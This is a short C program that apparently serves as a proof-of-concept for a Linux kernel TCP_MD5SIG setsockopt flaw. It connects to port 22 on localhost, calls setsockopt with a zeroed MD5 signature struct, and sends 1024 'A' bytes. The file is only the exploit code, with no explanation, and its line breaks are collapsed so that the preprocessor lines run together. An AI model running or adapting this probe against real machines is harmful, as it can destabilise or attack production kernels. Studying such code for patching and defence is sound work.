Stuff

#include <stdio.h>#include <string.h>#include <stdlib.h>#include <unistd.h>#include <sys/types.h>#include <sys/socket.h>#include <netinet/in.h>#include <arpa/inet.h>#include <sys/time.h>#include <time.h>#include <sys/ioctl.h>#define TCP_MD5SIG     14#define D_HOST         "127.0.0.1"#define D_PORT         22struct tcp_md5sig {	unsigned short pad1;	unsigned short keylen;	unsigned int   pad2;	unsigned char  tcp_key[80];};int main(int argc, char **argv){	int sd  = 0;       	int ret = 0;	int op  = 0;	char *buf1;	struct tcp_md5sig ksig;        struct sockaddr_in l_addr;	printf("---------[Stupid Setsockopt: Linux TCP_MD5SIG\n");	printf("---------[Anthony LaMantia <anthony@cellcrypt.com>\n");	sd = socket(PF_INET, SOCK_STREAM, 0);        if (sd < 0) {		printf("---------[error: socket()\n");                return -1;        }	printf("---------[socket: ok\n");        l_addr.sin_family = AF_INET;        l_addr.sin_port = htons(D_PORT);        l_addr.sin_addr.s_addr = inet_addr(D_HOST);        memset(&(l_addr.sin_zero), 0,8);	        if ((ret = connect(sd,(struct sockaddr *)&l_addr,sizeof(struct sockaddr))) < 0) {		printf("---------[error: connect() (%s:%i)\n", D_HOST, D_PORT);	}	printf("---------[connect(): (%s:%i)\n", D_HOST, D_PORT);	memset((char *)&ksig, 0, sizeof(ksig));	ret = setsockopt(sd, SOL_SOCKET,  TCP_MD5SIG, &ksig, sizeof(ksig));	if (ret == -1) {		printf("---------[error: setsockopt() == -1\n");	}	printf("---------[setsockopt: val: %i return %x\n",TCP_MD5SIG, ret);      	buf1 = alloca(1024);	memset(buf1, '\x41', 1024);	printf("---------[Sent: %i bytes to (%s:%i) SNIFF for MD5\n",	       send(sd, buf1, 1024, 0), D_HOST, D_PORT);		return 0;}